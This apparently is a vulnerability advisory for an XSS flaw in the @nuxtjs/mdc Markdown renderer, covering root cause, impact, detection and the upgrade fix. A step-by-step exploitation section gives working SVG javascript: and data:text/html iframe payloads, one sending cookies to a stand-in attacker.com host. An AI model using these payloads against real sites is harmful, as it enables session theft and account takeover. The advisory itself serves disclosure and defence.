CVE-2026-63671: 
JavaScript vulnerability analysis and mitigation

CVE-2026-63671 is a Cross-Site Scripting (XSS) vulnerability in @nuxtjs/mdc (the MDC Markdown-to-Vue component tool) caused by two incomplete sanitizer checks that allow untrusted Markdown to inject executable JavaScript. It affects all versions of @nuxtjs/mdc prior to 0.22.1 (npm package mdc by nuxt-content). The vulnerability was originally published by maintainer farnabaz on July 2, 2026, and registered in the NVD on September 16, 2026. It carries a CVSS v3.1 base score of 8.1 (High) (GitHub Advisory).

The root cause is an incomplete denylist (CWE-184) combined with improper input neutralization (CWE-79) in the validateProp and isAnchorLinkAllowed functions within dist/runtime/parser/utils/props.js. Two specific bypass vectors exist: (1) validateProp only scheme-checks attributes named exactly href or src, so an SVG xlink:href attribute — parsed by hast as the property xLinkHref — is never validated, allowing a javascript: URL to pass through and execute in the page origin when clicked; (2) the unsafeLinkPrefix denylist entries for data:text/html are compared against url.protocol, which for any data: URI is always just "data:", making "data:".startsWith("data:text/html") always false — effectively dead code — so an <iframe src="data:text/html,..."> survives sanitization and executes script on load. Both vectors are exploitable at the default configuration because parseMarkdown enables allowDangerousHtml: true by default, making the sanitizer the sole barrier. A proof-of-concept (poc.sh + poc.html) was included in the advisory and confirmed working in current Chromium builds (GitHub Advisory, Fix PR #491).

Successful exploitation allows an unauthenticated attacker to execute arbitrary JavaScript in the context of a victim user's browser session on the page origin. This can result in theft of session tokens and authentication cookies (high confidentiality impact), unauthorized modification of page content or actions performed on behalf of the user (high integrity impact), and potential account takeover. The data:text/html iframe vector executes in an opaque origin, while the SVG xlink:href vector executes in the full page origin, making the latter particularly severe for same-origin data access (GitHub Advisory).

A proof-of-concept (nuxtjs-mdc-xss_poc.zip) was included in the original security advisory and confirmed executing in current Chromium builds, demonstrating both vectors deterministically. No evidence of in-the-wild exploitation has been reported, and the EPSS score is 0.0, indicating low current exploitation probability. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. No threat actor attribution is available (GitHub Advisory, Feedly).

1. Identify a target application: Find a web application using @nuxtjs/mdc versions prior to 0.22.1 that renders untrusted or user-supplied Markdown content (e.g., a CMS, documentation site, or comment system built with Nuxt).
2. Craft the SVG xlink:href payload: Prepare a Markdown snippet containing a raw HTML SVG element with a javascript: URL in the xlink:href attribute, e.g.:

   <svg><a xlink:href="javascript:alert(document.cookie)"><text y="20">Click me</text></a></svg>

3. Craft the data:text/html iframe payload: Alternatively, prepare an iframe with a data:text/html src containing a script, e.g.:

   <iframe src="data:text/html,<script>fetch('https://attacker.com/?c='+document.cookie)</script>"></iframe>

4. Inject the payload: Submit the crafted Markdown to the target application through any input that is rendered by parseMarkdown (e.g., a comment field, a wiki page, or a content API endpoint).
5. Trigger execution: For the SVG vector, social-engineer the victim into clicking the rendered SVG link — the javascript: URL executes in the page origin. For the iframe vector, execution is automatic on page load with no user interaction beyond viewing the page.
6. Exfiltrate data or perform actions: The executing script can steal session cookies, perform authenticated API requests on behalf of the victim, or redirect the user to a phishing page (GitHub Advisory).

• Network: Outbound HTTP requests from victim browsers to unexpected external domains immediately after viewing Markdown-rendered content; requests containing encoded cookie or session data in query parameters (e.g., ?c=, ?token=).
• Logs: Server-side access logs showing submission of Markdown content containing xlink:href, javascript:, or data:text/html strings in user-supplied fields; application logs recording rendering of SVG elements with xLinkHref properties.
• File System / Content Store: Stored Markdown content containing <svg> elements with xlink:href="javascript:..." attributes or <iframe src="data:text/html,..."> elements in user-generated content databases or flat files.
• Browser / Client-Side: Browser developer tool network logs showing unexpected cross-origin requests triggered from within an iframe with an opaque origin (null origin in request headers) (GitHub Advisory).

Upgrade @nuxtjs/mdc to version 0.22.1 or later, which fixes both bypass vectors by adding xlinkhref to the validateProp attribute check and changing isAnchorLinkAllowed to compare unsafeLinkPrefix entries against url.href instead of url.protocol (Release v0.22.1, Fix PR #491). As a temporary workaround if upgrading is not immediately possible: disable allowDangerousHtml in parseMarkdown options to prevent raw HTML rendering entirely, and implement a strict Content Security Policy (CSP) that blocks javascript: URIs and data: URL schemes for frames (frame-src 'none' or frame-src https:) (GitHub Advisory).